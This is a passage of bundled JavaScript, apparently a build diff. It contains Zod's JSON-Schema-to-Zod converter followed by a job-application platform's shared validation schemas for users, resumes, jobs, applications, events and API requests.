node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +var z = { + ...schemas_exports2, + ...checks_exports2, + iso: iso_exports +}; +var RECOGNIZED_KEYS = /* @__PURE__ */ new Set([ + // Schema identification + "$schema", + "$ref", + "$defs", + "definitions", + // Core schema keywords + "$id", + "id", + "$comment", + "$anchor", + "$vocabulary", + "$dynamicRef", + "$dynamicAnchor", + // Type + "type", + "enum", + "const", + // Composition + "anyOf", + "oneOf", + "allOf", + "not", + // Object + "properties", + "required", + "additionalProperties", + "patternProperties", + "propertyNames", + "minProperties", + "maxProperties", + // Array + "items", + "prefixItems", + "additionalItems", + "minItems", + "maxItems", + "uniqueItems", + "contains", + "minContains", + "maxContains", + // String + "minLength", + "maxLength", + "pattern", + "format", + // Number + "minimum", + "maximum", + "exclusiveMinimum", + "exclusiveMaximum", + "multipleOf", + // Already handled metadata + "description", + "default", + // Content + "contentEncoding", + "contentMediaType", + "contentSchema", + // Unsupported (error-throwing) + "unevaluatedItems", + "unevaluatedProperties", + "if", + "then", + "else", + "dependentSchemas", + "dependentRequired", + // OpenAPI + "nullable", + "readOnly" +]); +function detectVersion(schema, defaultTarget) { + const $schema = schema.$schema; + if ($schema === "https://json-schema.org/draft/2020-12/schema") { + return "draft-2020-12"; + } + if ($schema === "http://json-schema.org/draft-07/schema#") { + return "draft-7"; + } + if ($schema === "http://json-schema.org/draft-04/schema#") { + return "draft-4"; + } + return defaultTarget ?? "draft-2020-12"; +} +function resolveRef(ref, ctx) { + if (!ref.startsWith("#")) { + throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); + } + const path = ref.slice(1).split("/").filter(Boolean); + if (path.length === 0) { + return ctx.rootSchema; + } + const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; + if (path[0] === defsKey) { + const key = path[1]; + if (!key || !ctx.defs[key]) { + throw new Error(`Reference not found: ${ref}`); + } + return ctx.defs[key]; + } + throw new Error(`Reference not found: ${ref}`); +} +function convertBaseSchema(schema, ctx) { + if (schema.not !== void 0) { + if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { + return z.never(); + } + throw new Error("not is not supported in Zod (except { not: {} } for never)"); + } + if (schema.unevaluatedItems !== void 0) { + throw new Error("unevaluatedItems is not supported"); + } + if (schema.unevaluatedProperties !== void 0) { + throw new Error("unevaluatedProperties is not supported"); + } + if (schema.if !== void 0 || schema.then !== void 0 || schema.else !== void 0) { + throw new Error("Conditional schemas (if/then/else) are not supported"); + } + if (schema.dependentSchemas !== void 0 || schema.dependentRequired !== void 0) { + throw new Error("dependentSchemas and dependentRequired are not supported"); + } + if (schema.$ref) { + const refPath = schema.$ref; + if (ctx.refs.has(refPath)) { + return ctx.refs.get(refPath); + } + if (ctx.processing.has(refPath)) { + return z.lazy(() => { + if (!ctx.refs.has(refPath)) { + throw new Error(`Circular reference not resolved: ${refPath}`); + } + return ctx.refs.get(refPath); + }); + } + ctx.processing.add(refPath); + const resolved = resolveRef(refPath, ctx); + const zodSchema2 = convertSchema(resolved, ctx); + ctx.refs.set(refPath, zodSchema2); + ctx.processing.delete(refPath); + return zodSchema2; + } + if (schema.enum !== void 0) { + const enumValues = schema.enum; + if (ctx.version === "openapi-3.0" && schema.nullable === true && enumValues.length === 1 && enumValues[0] === null) { + return z.null(); + } + if (enumValues.length === 0) { + return z.never(); + } + if (enumValues.length === 1) { + return z.literal(enumValues[0]); + } + if (enumValues.every((v) => typeof v === "string")) { + return z.enum(enumValues); + } + const literalSchemas = enumValues.map((v) => z.literal(v)); + if (literalSchemas.length < 2) { + return literalSchemas[0]; + } + return z.union([literalSchemas[0], literalSchemas[1], ...literalSchemas.slice(2)]); + } + if (schema.const !== void 0) { + return z.literal(schema.const); + } + const type = schema.type; + if (Array.isArray(type)) { + const typeSchemas = type.map((t) => { + const typeSchema = { ...schema, type: t }; + return convertBaseSchema(typeSchema, ctx); + }); + if (typeSchemas.length === 0) { + return z.never(); + } + if (typeSchemas.length === 1) { + return typeSchemas[0]; + } + return z.union(typeSchemas); + } + if (!type) { + return z.any(); + } + let zodSchema; + switch (type) { + case "string": { + let stringSchema = z.string(); + if (schema.format) { + const format = schema.format; + if (format === "email") { + stringSchema = stringSchema.check(z.email()); + } else if (format === "uri" || format === "uri-reference") { + stringSchema = stringSchema.check(z.url()); + } else if (format === "uuid" || format === "guid") { + stringSchema = stringSchema.check(z.uuid()); + } else if (format === "date-time") { + stringSchema = stringSchema.check(z.iso.datetime()); + } else if (format === "date") { + stringSchema = stringSchema.check(z.iso.date()); + } else if (format === "time") { + stringSchema = stringSchema.check(z.iso.time()); + } else if (format === "duration") { + stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "ipv4") { + stringSchema = stringSchema.check(z.ipv4()); + } else if (format === "ipv6") { + stringSchema = stringSchema.check(z.ipv6()); + } else if (format === "mac") { + stringSchema = stringSchema.check(z.mac()); + } else if (format === "cidr") { + stringSchema = stringSchema.check(z.cidrv4()); + } else if (format === "cidr-v6") { + stringSchema = stringSchema.check(z.cidrv6()); + } else if (format === "base64") { + stringSchema = stringSchema.check(z.base64()); + } else if (format === "base64url") { + stringSchema = stringSchema.check(z.base64url()); + } else if (format === "e164") { + stringSchema = stringSchema.check(z.e164()); + } else if (format === "jwt") { + stringSchema = stringSchema.check(z.jwt()); + } else if (format === "emoji") { + stringSchema = stringSchema.check(z.emoji()); + } else if (format === "nanoid") { + stringSchema = stringSchema.check(z.nanoid()); + } else if (format === "cuid") { + stringSchema = stringSchema.check(z.cuid()); + } else if (format === "cuid2") { + stringSchema = stringSchema.check(z.cuid2()); + } else if (format === "ulid") { + stringSchema = stringSchema.check(z.ulid()); + } else if (format === "xid") { + stringSchema = stringSchema.check(z.xid()); + } else if (format === "ksuid") { + stringSchema = stringSchema.check(z.ksuid()); + } + } + if (typeof schema.minLength === "number") { + stringSchema = stringSchema.min(schema.minLength); + } + if (typeof schema.maxLength === "number") { + stringSchema = stringSchema.max(schema.maxLength); + } + if (schema.pattern) { + stringSchema = stringSchema.regex(new RegExp(schema.pattern)); + } + zodSchema = stringSchema; + break; + } + case "number": + case "integer": { + let numberSchema = type === "integer" ? z.number().int() : z.number(); + if (typeof schema.minimum === "number") { + numberSchema = numberSchema.min(schema.minimum); + } + if (typeof schema.maximum === "number") { + numberSchema = numberSchema.max(schema.maximum); + } + if (typeof schema.exclusiveMinimum === "number") { + numberSchema = numberSchema.gt(schema.exclusiveMinimum); + } else if (schema.exclusiveMinimum === true && typeof schema.minimum === "number") { + numberSchema = numberSchema.gt(schema.minimum); + } + if (typeof schema.exclusiveMaximum === "number") { + numberSchema = numberSchema.lt(schema.exclusiveMaximum); + } else if (schema.exclusiveMaximum === true && typeof schema.maximum === "number") { + numberSchema = numberSchema.lt(schema.maximum); + } + if (typeof schema.multipleOf === "number") { + numberSchema = numberSchema.multipleOf(schema.multipleOf); + } + zodSchema = numberSchema; + break; + } + case "boolean": { + zodSchema = z.boolean(); + break; + } + case "null": { + zodSchema = z.null(); + break; + } + case "object": { + const shape = {}; + const properties = schema.properties || {}; + const requiredSet = new Set(schema.required || []); + for (const [key, propSchema] of Object.entries(properties)) { + const propZodSchema = convertSchema(propSchema, ctx); + shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); + } + if (schema.propertyNames) { + const keySchema = convertSchema(schema.propertyNames, ctx); + const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); + if (Object.keys(shape).length === 0) { + zodSchema = z.record(keySchema, valueSchema); + break; + } + const objectSchema2 = z.object(shape).passthrough(); + const recordSchema = z.looseRecord(keySchema, valueSchema); + zodSchema = z.intersection(objectSchema2, recordSchema); + break; + } + if (schema.patternProperties) { + const patternProps = schema.patternProperties; + const patternKeys = Object.keys(patternProps); + const looseRecords = []; + for (const pattern of patternKeys) { + const patternValue = convertSchema(patternProps[pattern], ctx); + const keySchema = z.string().regex(new RegExp(pattern)); + looseRecords.push(z.looseRecord(keySchema, patternValue)); + } + const schemasToIntersect = []; + if (Object.keys(shape).length > 0) { + schemasToIntersect.push(z.object(shape).passthrough()); + } + schemasToIntersect.push(...looseRecords); + if (schemasToIntersect.length === 0) { + zodSchema = z.object({}).passthrough(); + } else if (schemasToIntersect.length === 1) { + zodSchema = schemasToIntersect[0]; + } else { + let result = z.intersection(schemasToIntersect[0], schemasToIntersect[1]); + for (let i = 2; i < schemasToIntersect.length; i++) { + result = z.intersection(result, schemasToIntersect[i]); + } + zodSchema = result; + } + break; + } + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (typeof schema.additionalProperties === "object") { + zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + } else { + zodSchema = objectSchema.passthrough(); + } + break; + } + case "array": { + const prefixItems = schema.prefixItems; + const items = schema.items; + if (prefixItems && Array.isArray(prefixItems)) { + const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); + const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; + if (rest) { + zodSchema = z.tuple(tupleItems).rest(rest); + } else { + zodSchema = z.tuple(tupleItems); + } + if (typeof schema.minItems === "number") { + zodSchema = zodSchema.check(z.minLength(schema.minItems)); + } + if (typeof schema.maxItems === "number") { + zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); + } + } else if (Array.isArray(items)) { + const tupleItems = items.map((item) => convertSchema(item, ctx)); + const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; + if (rest) { + zodSchema = z.tuple(tupleItems).rest(rest); + } else { + zodSchema = z.tuple(tupleItems); + } + if (typeof schema.minItems === "number") { + zodSchema = zodSchema.check(z.minLength(schema.minItems)); + } + if (typeof schema.maxItems === "number") { + zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); + } + } else if (items !== void 0) { + const element = convertSchema(items, ctx); + let arraySchema = z.array(element); + if (typeof schema.minItems === "number") { + arraySchema = arraySchema.min(schema.minItems); + } + if (typeof schema.maxItems === "number") { + arraySchema = arraySchema.max(schema.maxItems); + } + zodSchema = arraySchema; + } else { + zodSchema = z.array(z.any()); + } + break; + } + default: + throw new Error(`Unsupported type: ${type}`); + } + return zodSchema; +} +function convertSchema(schema, ctx) { + if (typeof schema === "boolean") { + return schema ? z.any() : z.never(); + } + let baseSchema = convertBaseSchema(schema, ctx); + const hasExplicitType = schema.type || schema.enum !== void 0 || schema.const !== void 0; + if (schema.anyOf && Array.isArray(schema.anyOf)) { + const options = schema.anyOf.map((s) => convertSchema(s, ctx)); + const anyOfUnion = z.union(options); + baseSchema = hasExplicitType ? z.intersection(baseSchema, anyOfUnion) : anyOfUnion; + } + if (schema.oneOf && Array.isArray(schema.oneOf)) { + const options = schema.oneOf.map((s) => convertSchema(s, ctx)); + const oneOfUnion = z.xor(options); + baseSchema = hasExplicitType ? z.intersection(baseSchema, oneOfUnion) : oneOfUnion; + } + if (schema.allOf && Array.isArray(schema.allOf)) { + if (schema.allOf.length === 0) { + baseSchema = hasExplicitType ? baseSchema : z.any(); + } else { + let result = hasExplicitType ? baseSchema : convertSchema(schema.allOf[0], ctx); + const startIdx = hasExplicitType ? 0 : 1; + for (let i = startIdx; i < schema.allOf.length; i++) { + result = z.intersection(result, convertSchema(schema.allOf[i], ctx)); + } + baseSchema = result; + } + } + if (schema.nullable === true && ctx.version === "openapi-3.0") { + baseSchema = z.nullable(baseSchema); + } + if (schema.readOnly === true) { + baseSchema = z.readonly(baseSchema); + } + if (schema.default !== void 0) { + baseSchema = baseSchema.default(schema.default); + } + const extraMeta = {}; + const coreMetadataKeys = ["$id", "id", "$comment", "$anchor", "$vocabulary", "$dynamicRef", "$dynamicAnchor"]; + for (const key of coreMetadataKeys) { + if (key in schema) { + extraMeta[key] = schema[key]; + } + } + const contentMetadataKeys = ["contentEncoding", "contentMediaType", "contentSchema"]; + for (const key of contentMetadataKeys) { + if (key in schema) { + extraMeta[key] = schema[key]; + } + } + for (const key of Object.keys(schema)) { + if (!RECOGNIZED_KEYS.has(key)) { + extraMeta[key] = schema[key]; + } + } + if (Object.keys(extraMeta).length > 0) { + ctx.registry.add(baseSchema, extraMeta); + } + if (schema.description) { + baseSchema = baseSchema.describe(schema.description); + } + return baseSchema; +} +function fromJSONSchema(schema, params) { + if (typeof schema === "boolean") { + return schema ? z.any() : z.never(); + } + let normalized; + try { + normalized = JSON.parse(JSON.stringify(schema)); + } catch { + throw new Error("fromJSONSchema input is not valid JSON (possibly cyclic); use $defs/$ref for recursive schemas"); + } + const version3 = detectVersion(normalized, params?.defaultTarget); + const defs = normalized.$defs || normalized.definitions || {}; + const ctx = { + version: version3, + defs, + refs: /* @__PURE__ */ new Map(), + processing: /* @__PURE__ */ new Set(), + rootSchema: normalized, + registry: params?.registry ?? globalRegistry + }; + return convertSchema(normalized, ctx); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +var coerce_exports = {}; +__export(coerce_exports, { + bigint: () => bigint3, + boolean: () => boolean3, + date: () => date4, + number: () => number3, + string: () => string3 +}); +function string3(params) { + return _coercedString(ZodString, params); +} +function number3(params) { + return _coercedNumber(ZodNumber, params); +} +function boolean3(params) { + return _coercedBoolean(ZodBoolean, params); +} +function bigint3(params) { + return _coercedBigint(ZodBigInt, params); +} +function date4(params) { + return _coercedDate(ZodDate, params); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +config(en_default()); + +// packages/types/src/common.ts +var uuidSchema = external_exports.uuid(); +var isoTimestampSchema = external_exports.iso.datetime(); +var ERROR_CODES = [ + "VALIDATION_ERROR", + "UNAUTHENTICATED", + "FORBIDDEN", + "NOT_FOUND", + "CONFLICT", + "RATE_LIMITED", + "IDEMPOTENCY_KEY_REQUIRED", + "IDEMPOTENCY_KEY_REUSED", + "UNSUPPORTED_MEDIA_TYPE", + "PAYLOAD_TOO_LARGE", + "JOB_NOT_FOUND", + "RESUME_NOT_FOUND", + "USER_NOT_FOUND", + "EMAIL_ALREADY_REGISTERED", + "INVALID_CREDENTIALS", + "SESSION_EXPIRED", + "CONNECTOR_FAILURE", + "UPSTREAM_UNAVAILABLE", + "OAUTH_PROVIDER_UNAVAILABLE", + "INTERNAL_ERROR" +]; +var errorCodeSchema = external_exports.enum(ERROR_CODES); +var errorResponseSchema = external_exports.object({ + error: external_exports.object({ + code: errorCodeSchema, + message: external_exports.string(), + request_id: external_exports.string(), + details: external_exports.unknown().optional() + }) +}); +var paginationQuerySchema = external_exports.object({ + limit: external_exports.coerce.number().int().min(1).max(100).default(20), + cursor: external_exports.string().min(1).optional() +}); +var traceContextSchema = external_exports.object({ + trace_id: external_exports.string(), + correlation_id: external_exports.string(), + organization_id: uuidSchema.nullable(), + user_id: uuidSchema.nullable() +}); + +// packages/types/src/enums.ts +var ORGANIZATION_TYPES = ["individual", "university", "enterprise"]; +var organizationTypeSchema = external_exports.enum(ORGANIZATION_TYPES); +var ORGANIZATION_PLANS = ["free", "pro", "campus", "enterprise"]; +var organizationPlanSchema = external_exports.enum(ORGANIZATION_PLANS); +var MEMBER_ROLES = ["member", "student", "recruiter", "admin", "owner"]; +var memberRoleSchema = external_exports.enum(MEMBER_ROLES); +var AUTH_PROVIDERS = ["password", "google", "microsoft", "github", "saml"]; +var authProviderSchema = external_exports.enum(AUTH_PROVIDERS); +var REMOTE_TYPES = ["onsite", "hybrid", "remote", "unknown"]; +var remoteTypeSchema = external_exports.enum(REMOTE_TYPES); +var EMPLOYMENT_TYPES = [ + "full_time", + "part_time", + "contract", + "internship", + "unknown" +]; +var employmentTypeSchema = external_exports.enum(EMPLOYMENT_TYPES); +var RESUME_STATUSES = ["pending", "processing", "parsed", "failed"]; +var resumeStatusSchema = external_exports.enum(RESUME_STATUSES); +var APPLICATION_STATUSES = [ + "draft", + "queued", + "submitting", + "submitted", + "acknowledged", + "interviewing", + "offer", + "rejected", + "withdrawn", + "failed" +]; +var applicationStatusSchema = external_exports.enum(APPLICATION_STATUSES); +var APPLICATION_MODES = ["auto", "manual", "review"]; +var applicationModeSchema = external_exports.enum(APPLICATION_MODES); +var MESSAGE_CHANNELS = ["email", "linkedin", "sms", "in_app"]; +var messageChannelSchema = external_exports.enum(MESSAGE_CHANNELS); +var MESSAGE_STATUSES = [ + "draft", + "scheduled", + "sent", + "delivered", + "replied", + "bounced", + "failed" +]; +var messageStatusSchema = external_exports.enum(MESSAGE_STATUSES); +var TASK_STATUSES = [ + "pending", + "locked", + "succeeded", + "failed", + "dead_lettered" +]; +var taskStatusSchema = external_exports.enum(TASK_STATUSES); +var JOB_SOURCES = ["manual", "seed", "greenhouse", "lever", "ashby", "rss"]; +var jobSourceSchema = external_exports.enum(JOB_SOURCES); + +// packages/types/src/identity.ts +var userSchema = external_exports.object({ + user_id: uuidSchema, + profile_id: uuidSchema.nullable(), + email: external_exports.email(), + full_name: external_exports.string().min(1).max(200), + auth_provider: authProviderSchema, + email_verified: external_exports.boolean(), + mfa_enabled: external_exports.boolean(), + created_at: isoTimestampSchema, + updated_at: isoTimestampSchema +}); +var publicUserSchema = userSchema.pick({ + user_id: true, + email: true, + full_name: true, + auth_provider: true, + email_verified: true, + mfa_enabled: true, + created_at: true +}); +var organizationSchema = external_exports.object({ + organization_id: uuidSchema, + name: external_exports.string().min(1).max(200), + type: organizationTypeSchema, + plan: organizationPlanSchema, + created_at: isoTimestampSchema +}); +var permissionsSchema = external_exports.object({ + can_manage_members: external_exports.boolean().optional(), + can_view_analytics: external_exports.boolean().optional(), + can_export_reports: external_exports.boolean().optional(), + can_manage_connectors: external_exports.boolean().optional(), + can_apply_on_behalf: external_exports.boolean().optional() +}); +var organizationMemberSchema = external_exports.object({ + organization_id: uuidSchema, + user_id: uuidSchema, + role: memberRoleSchema, + permissions: permissionsSchema, + created_at: isoTimestampSchema +}); +var accessTokenClaimsSchema = external_exports.object({ + sub: uuidSchema, + session_id: uuidSchema, + org: uuidSchema.nullable(), + role: memberRoleSchema.nullable(), + email: external_exports.email() +}); + +// packages/types/src/profile.ts +var dateRangeSchema = external_exports.object({ + /** `YYYY-MM` — resumes rarely give a reliable day. */ + start: external_exports.string().regex(/^\d{4}-\d{2}$/).nullable(), + end: external_exports.string().regex(/^\d{4}-\d{2}$/).nullable(), + is_current: external_exports.boolean() +}); +var experienceEntrySchema = external_exports.object({ + company: external_exports.string().min(1).max(200), + title: external_exports.string().min(1).max(200), + location: external_exports.string().max(200).nullable(), + employment_type: employmentTypeSchema, + period: dateRangeSchema, + highlights: external_exports.array(external_exports.string().min(1).max(1e3)).max(50) +}); +var educationEntrySchema = external_exports.object({ + institution: external_exports.string().min(1).max(200), + degree: external_exports.string().max(200).nullable(), + field_of_study: external_exports.string().max(200).nullable(), + period: dateRangeSchema, + gpa: external_exports.number().min(0).max(10).nullable() +}); +var skillSchema = external_exports.object({ + /** Lowercased canonical form, e.g. `postgresql`. */ + name: external_exports.string().min(1).max(80), + /** Free-form label as it appeared in the source document. */ + raw: external_exports.string().min(1).max(120), + /** Months of demonstrated use, inferred from experience entries. */ + months_experience: external_exports.number().int().min(0).nullable() +}); +var contactDetailsSchema = external_exports.object({ + email: external_exports.email().nullable(), + phone: external_exports.string().max(40).nullable(), + location: external_exports.string().max(200).nullable(), + links: external_exports.array(external_exports.url()).max(20) +}); +var parsedProfileSchema = external_exports.object({ + full_name: external_exports.string().max(200).nullable(), + headline: external_exports.string().max(300).nullable(), + summary: external_exports.string().max(4e3).nullable(), + contact: contactDetailsSchema, + skills: external_exports.array(skillSchema).max(300), + experience: external_exports.array(experienceEntrySchema).max(100), + education: external_exports.array(educationEntrySchema).max(50), + certifications: external_exports.array(external_exports.string().min(1).max(300)).max(100), + keywords: external_exports.array(external_exports.string().min(1).max(80)).max(400), + total_months_experience: external_exports.number().int().min(0) +}); +var resumeSchema = external_exports.object({ + resume_id: uuidSchema, + user_id: uuidSchema, + storage_url: external_exports.string().min(1), + original_filename: external_exports.string().min(1).max(400), + content_type: external_exports.string().min(1).max(200), + byte_size: external_exports.number().int().min(0), + status: resumeStatusSchema, + parsed_text: external_exports.string().nullable(), + parsed_profile: parsedProfileSchema.nullable(), + /** 0–100. Populated by the ATS heuristics in the profile service. */ + ats_score: external_exports.number().min(0).max(100).nullable(), + embedding_id: external_exports.string().nullable(), + failure_reason: external_exports.string().nullable(), + created_at: isoTimestampSchema, + updated_at: isoTimestampSchema +}); +var atsReportSchema = external_exports.object({ + score: external_exports.number().min(0).max(100), + checks: external_exports.array( + external_exports.object({ + id: external_exports.string(), + label: external_exports.string(), + passed: external_exports.boolean(), + weight: external_exports.number().min(0).max(1), + hint: external_exports.string() + }) + ) +}); +var bulletIssueSchema = external_exports.enum(["weak_opening", "no_metric", "too_short", "too_long"]); +var bulletFindingSchema = external_exports.object({ + company: external_exports.string(), + title: external_exports.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: external_exports.number().int().min(0), + bullet: external_exports.string(), + issues: external_exports.array(bulletIssueSchema).min(1), + suggestions: external_exports.array(external_exports.string()).min(1) +}); +var resumeOptimizationReportSchema = external_exports.object({ + keyword_match: external_exports.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: external_exports.number().int().min(0).max(100).nullable(), + matched: external_exports.array(external_exports.string()), + missing: external_exports.array(external_exports.string()) + }), + bullet_findings: external_exports.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: external_exports.array(external_exports.string()).max(10), + truthfulness_note: external_exports.string() +}); + +// packages/types/src/job.ts +var companySchema = external_exports.object({ + company_id: uuidSchema, + name: external_exports.string().min(1).max(300), + /** Lowercased, punctuation-stripped name used for dedupe joins. */ + normalized_name: external_exports.string().min(1).max(300), + industry: external_exports.string().max(200).nullable(), + website: external_exports.url().nullable(), + domain: external_exports.string().max(255).nullable(), + created_at: isoTimestampSchema +}); +var salaryRangeSchema = external_exports.object({ + min: external_exports.number().int().min(0).nullable(), + max: external_exports.number().int().min(0).nullable(), + currency: external_exports.string().length(3).nullable(), + period: external_exports.enum(["hour", "month", "year"]).nullable() +}); +var jobSchema = external_exports.object({ + job_id: uuidSchema, + company_id: uuidSchema, + title: external_exports.string().min(1).max(300), + description: external_exports.string().nullable(), + salary_min: external_exports.number().int().min(0).nullable(), + salary_max: external_exports.number().int().min(0).nullable(), + salary_currency: external_exports.string().length(3).nullable(), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + source: jobSourceSchema, + /** Stable id assigned by the upstream source, unique per source. */ + external_id: external_exports.string().max(400).nullable(), + apply_url: external_exports.url().nullable(), + /** Content fingerprint used for cross-source dedupe. Unique. */ + job_hash: external_exports.string().length(64), + skills: external_exports.array(external_exports.string().min(1).max(80)).max(200), + posted_at: isoTimestampSchema.nullable(), + expires_at: isoTimestampSchema.nullable(), + is_active: external_exports.boolean(), + created_at: isoTimestampSchema, + updated_at: isoTimestampSchema +}); +var rawJobPostingSchema = external_exports.object({ + source: jobSourceSchema, + external_id: external_exports.string().min(1).max(400).nullable(), + title: external_exports.string().min(1).max(500), + company_name: external_exports.string().min(1).max(300), + company_website: external_exports.string().max(500).nullable().optional(), + description: external_exports.string().max(2e5).nullable().optional(), + location: external_exports.string().max(300).nullable().optional(), + remote_type: external_exports.string().max(50).nullable().optional(), + employment_type: external_exports.string().max(50).nullable().optional(), + salary_text: external_exports.string().max(300).nullable().optional(), + salary_min: external_exports.number().nullable().optional(), + salary_max: external_exports.number().nullable().optional(), + salary_currency: external_exports.string().max(10).nullable().optional(), + apply_url: external_exports.string().max(2e3).nullable().optional(), + posted_at: external_exports.string().max(60).nullable().optional() +}); +var jobRecommendationSchema = external_exports.object({ + job: jobSchema, + score: external_exports.number().min(0).max(1), + reasons: external_exports.array(external_exports.string()).max(20) +}); + +// packages/types/src/application.ts +var applicationSchema = external_exports.object({ + application_id: uuidSchema, + user_id: uuidSchema, + job_id: uuidSchema, + resume_id: uuidSchema.nullable(), + organization_id: uuidSchema.nullable(), + status: applicationStatusSchema, + mode: applicationModeSchema, + /** Required on submission so retries can never double-apply (docs/04). */ + idempotency_key: external_exports.string().min(8).max(200), + submitted_at: isoTimestampSchema.nullable(), + last_event_at: isoTimestampSchema, + failure_reason: external_exports.string().nullable(), + created_at: isoTimestampSchema +}); +var contactSchema = external_exports.object({ + contact_id: uuidSchema, + company_id: uuidSchema, + full_name: external_exports.string().max(200).nullable(), + title: external_exports.string().max(200).nullable(), + email: external_exports.email().nullable(), + linkedin_url: external_exports.url().nullable(), + /** 0–1 fit score from the referral service. */ + relevance_score: external_exports.number().min(0).max(1).nullable(), + created_at: isoTimestampSchema +}); +var messageSchema = external_exports.object({ + message_id: uuidSchema, + application_id: uuidSchema.nullable(), + contact_id: uuidSchema.nullable(), + user_id: uuidSchema, + channel: messageChannelSchema, + status: messageStatusSchema, + subject: external_exports.string().max(400).nullable(), + body: external_exports.string(), + idempotency_key: external_exports.string().min(8).max(200), + scheduled_for: isoTimestampSchema.nullable(), + sent_at: isoTimestampSchema.nullable(), + created_at: isoTimestampSchema +}); +var taskSchema = external_exports.object({ + task_id: uuidSchema, + task_type: external_exports.string().min(1).max(120), + queue_status: taskStatusSchema, + retry_count: external_exports.number().int().min(0), + max_retries: external_exports.number().int().min(0), + payload: external_exports.record(external_exports.string(), external_exports.unknown()), + last_error: external_exports.string().nullable(), + locked_at: isoTimestampSchema.nullable(), + locked_by: external_exports.string().max(200).nullable(), + available_at: isoTimestampSchema, + created_at: isoTimestampSchema +}); +var analyticsEventSchema = external_exports.object({ + event_id: uuidSchema, + organization_id: uuidSchema.nullable(), + user_id: uuidSchema.nullable(), + event_type: external_exports.string().min(1).max(120), + payload: external_exports.record(external_exports.string(), external_exports.unknown()), + timestamp: isoTimestampSchema +}); + +// packages/types/src/events.ts +var EVENT_TYPES = [ + "resume.parsed", + "job.discovered", + "job.scored", + "application.created", + "application.submitted", + "outreach.sent", + "referral.detected", + "learning.updated" +]; +var eventTypeSchema = external_exports.enum(EVENT_TYPES); +var payloads = { + "resume.parsed": external_exports.object({ + resume_id: uuidSchema, + user_id: uuidSchema, + ats_score: external_exports.number().min(0).max(100).nullable(), + skill_count: external_exports.number().int().min(0), + total_months_experience: external_exports.number().int().min(0) + }), + "job.discovered": external_exports.object({ + job_id: uuidSchema, + company_id: uuidSchema, + source: external_exports.string(), + job_hash: external_exports.string(), + title: external_exports.string() + }), + "job.scored": external_exports.object({ + job_id: uuidSchema, + user_id: uuidSchema, + score: external_exports.number().min(0).max(1), + model_version: external_exports.string() + }), + "application.created": external_exports.object({ + application_id: uuidSchema, + user_id: uuidSchema, + job_id: uuidSchema, + mode: external_exports.string() + }), + "application.submitted": external_exports.object({ + application_id: uuidSchema, + user_id: uuidSchema, + job_id: uuidSchema, + status: applicationStatusSchema + }), + "outreach.sent": external_exports.object({ + message_id: uuidSchema, + user_id: uuidSchema, + contact_id: uuidSchema.nullable(), + channel: messageChannelSchema + }), + "referral.detected": external_exports.object({ + contact_id: uuidSchema, + company_id: uuidSchema, + user_id: uuidSchema, + relevance_score: external_exports.number().min(0).max(1) + }), + "learning.updated": external_exports.object({ + model_version: external_exports.string(), + samples: external_exports.number().int().min(0), + metric: external_exports.string(), + value: external_exports.number() + }) +}; +var eventEnvelopeSchema = external_exports.object({ + event_id: uuidSchema, + event_type: eventTypeSchema, + occurred_at: isoTimestampSchema, + trace: traceContextSchema, + payload: external_exports.unknown() +}); + +// packages/types/src/api.ts +var passwordSchema = external_exports.string().min(12, "Password must be at least 12 characters").max(256); +var registerRequestSchema = external_exports.object({ + email: external_exports.email(), + password: passwordSchema, + full_name: external_exports.string().min(1).max(200), + organization_name: external_exports.string().min(1).max(200).optional() +}); +var loginRequestSchema = external_exports.object({ + email: external_exports.email(), + password: external_exports.string().min(1).max(256) +}); +var refreshRequestSchema = external_exports.object({ + refresh_token: external_exports.string().min(16) +}); +var tokenPairSchema = external_exports.object({ + access_token: external_exports.string(), + refresh_token: external_exports.string(), + token_type: external_exports.literal("Bearer"), + expires_in: external_exports.number().int().positive() +}); +var authSessionResponseSchema = external_exports.object({ + user: publicUserSchema, + organization_id: uuidSchema.nullable(), + tokens: tokenPairSchema +}); +var createResumeRequestSchema = external_exports.object({ + source: external_exports.enum(["upload", "connector", "import"]).default("upload") +}); +var createResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + status: resumeSchema.shape.status +}); +var resumeResponseSchema = external_exports.object({ + resume: resumeSchema +}); +var optimizeResumeRequestSchema = external_exports.object({ + job_id: uuidSchema +}); +var optimizeResumeResponseSchema = external_exports.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema +}); +var jobRecommendationsQuerySchema = paginationQuerySchema.extend({ + user_id: uuidSchema, + location: external_exports.string().max(200).optional(), + remote_type: remoteTypeSchema.optional() +}); +var jobRecommendationsResponseSchema = external_exports.object({ + items: external_exports.array(jobRecommendationSchema), + next_cursor: external_exports.string().nullable() +}); +var ingestJobsRequestSchema = external_exports.object({ + postings: external_exports.array(rawJobPostingSchema).min(1).max(500) +}); +var createApplicationRequestSchema = external_exports.object({ + job_id: uuidSchema, + resume_id: uuidSchema, + mode: applicationModeSchema.default("manual") +}); +var applicationResponseSchema = external_exports.object({ + application: applicationSchema +}); +var listApplicationsResponseSchema = external_exports.object({ + items: external_exports.array(applicationSchema), + next_cursor: external_exports.string().nullable() +}); +var appendApplicationEventRequestSchema = external_exports.object({ + to_status: applicationStatusSchema, + note: external_exports.string().max(2e3).optional() +}); +var 